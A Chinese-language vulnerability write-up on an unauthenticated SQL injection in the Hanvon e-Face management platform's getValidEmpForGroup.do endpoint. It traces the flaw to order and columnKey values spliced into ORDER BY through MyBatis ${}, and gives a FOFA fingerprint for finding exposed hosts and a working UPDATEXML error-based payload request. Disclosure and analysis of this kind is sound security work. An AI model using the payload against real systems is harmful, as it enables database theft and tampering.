汉王e脸通综合管理平台 getValidEmpForGroup.do SQL注入漏洞


漏洞简介

汉王e脸通综合管理平台是汉王公司研发的一款基于生物识别技术的智慧园区管理软件,集成了考勤管理、门禁管理、访客管理、巡更管理、消费管理、车控管理、梯控管理、人事管理等多个模块,广泛应用于政府、企业、监狱、学校、智慧社区等多个领域,实现无接触式快速通行,提升管理效率和安全性。其管理平台的 getValidEmpForGroup.do 接口存在 SQL 注入漏洞。攻击者可在无需认证的情况下,通过构造恶意请求参数注入恶意 SQL 语句,导致数据库信息泄露、数据篡改甚至系统权限提升,影响系统数据安全和完整性。

影响版本

V1.6.x

fofa语法

icon_hash="1380907357"

漏洞分析

直接看 AuthMultiplePeopleOpenController 里关于 getValidEmpForGroup 的实现

public RequestJson getValidEmpForGroup(@RequestParam(required = false) Integer page, @RequestParam(required = false) Integer pageSize, @RequestParam(required = false) String key, @RequestParam(required = false) Long departmentId, @RequestParam(required = false) Long groupId, @RequestParam(value = "idsNotIn[]",required = false) Integer[] idsNotIn, @RequestParam(value = "fields[]",required = false) Integer[] fields, @RequestParam(required = false) String order, @RequestParam(required = false) String columnKey) {
        RequestJson result = new RequestJson();
        EmployeeGroupParam employeeGroupParam = new EmployeeGroupParam();

        try {
            if (page == null) {
                page = Constants.DEFAULT_START_PAGE_INDEX;
            }

            if (pageSize == null) {
                pageSize = Constants.PAGE_SIZE;
            }

            if (null != key) {
                employeeGroupParam.setKey(key);
            }

            if (null != departmentId) {
                employeeGroupParam.setDepartmentId(departmentId);
            }

            if (null != groupId) {
                employeeGroupParam.setGroupId(groupId);
            }

            if (fields != null && fields.length > 0) {
                employeeGroupParam.setFields(fields);
            }

            employeeGroupParam.setOrder(order);
            employeeGroupParam.setColumnKey(columnKey);
            PageHelper.startPage(page, pageSize);
            List<EmployeeGroupEmployee> eges = this.authMultiplePeopleOpenAsm.selectValidPerson(employeeGroupParam, idsNotIn);
            PageInfo<EmployeeGroupEmployee> info = new PageInfo(eges);

和 汉王e脸通综合管理平台 queryManyPeopleGroupList.do SQL注入漏洞 处理逻辑差不多,直接看对应的 mapper xml文件 AccesManyPeopleGroupDao.xml

<select id="selectValidPerson" resultType="com.hanvon.iface.tpm.access.EmployeeGroupEmployee">
    select EI.NG_ID id,EI.SZ_EMPLOY_ID AS attendanceCode,EI.SZ_NAME NAME,EI.NT_GENDER SEX,EI.SZ_TELEPHONE PHONE, ED.NG_ID AS departmentId, ED.SZ_NAME AS departmentName
    from SYS_USER EI
    left join sys_user_branch sub on sub.ng_user_id = EI.NG_ID
    left join SYS_BRANCH ED on ED.NG_ID=sub.NG_BRANCH_ID
    where EI.NT_USER_STATE = 1  and
    EI.NG_ID not in (select EMPLOYEE_ID from ACCESS_MANY_GROUP_EMPLOYEE AMGE WHERE AMGE.GROUP_ID=#{groupId})
    <if test="idsNotIn != null">
      AND EI.NG_ID not in
      <foreach close=")" collection="idsNotIn" index="index" item="item" open="(" separator=",">
        #{item}
      </foreach>
    </if>
    <if test="departmentId != null">
      AND ED.SZ_BRANCH_PATH like CONCAT((SELECT SZ_BRANCH_PATH from SYS_BRANCH WHERE NG_ID = #{departmentId,jdbcType=INTEGER}), '%')
    </if>
    <if test="key != null and key != ''">
      and ( EI.SZ_NAME like concat("%", #{key},"%")
      or  EI.SZ_EMPLOY_ID like concat("%", #{key},"%")
      or  EI.SZ_TELEPHONE like concat("%", #{key},"%")
      or  EI.SZ_MOBILE like concat("%", #{key},"%"))
    </if>
    <if test="fields != null">
      AND (
      <foreach close="" collection="fields" index="index" item="item" open="" separator=" or ">
        find_in_set(#{item},FIELDS)
      </foreach>
      )
    </if>
    order by
    <if test="order == null or order == ''">
      EI.SZ_EMPLOY_ID + 0 asc
    </if>
    <if test="order != null and order != ''">
      <if test="columnKey == 'attendanceCode' or columnKey == 'ATTENDANCE_CODE'">
        EI.SZ_EMPLOY_ID + 0 ${order}
      </if>
      <if test="columnKey != 'attendanceCode' and columnKey != 'ATTENDANCE_CODE'">
        ${columnKey} ${order}
      </if>
    </if>
  </select>

用户可控的 columnKey 和 order 参数未经任何过滤直接拼接到 SQL 语句的 ORDER BY 子句中,导致攻击者可构造恶意输入执行任意 SQL 命令,造成SQL注入漏洞。

漏洞复现

GET /manage/authMultiplePeople/getValidEmpForGroup.do?recoToken=67mds2pxXQb&page=1&pageSize=10&order=(UPDATEXML(2920,CONCAT(0x7e,@@version,0x7e,(SELECT+(ELT(123=123,1)))),8357)) HTTP/1.1
Host: hanvon.mrxn.net

成功利用报错注入获取到数据版本号


手机扫码阅读

金和OA TaskReportConfirm.aspx SQL注入漏洞

金和OA AddTask.aspx XXE漏洞+SQL注入漏洞

评 论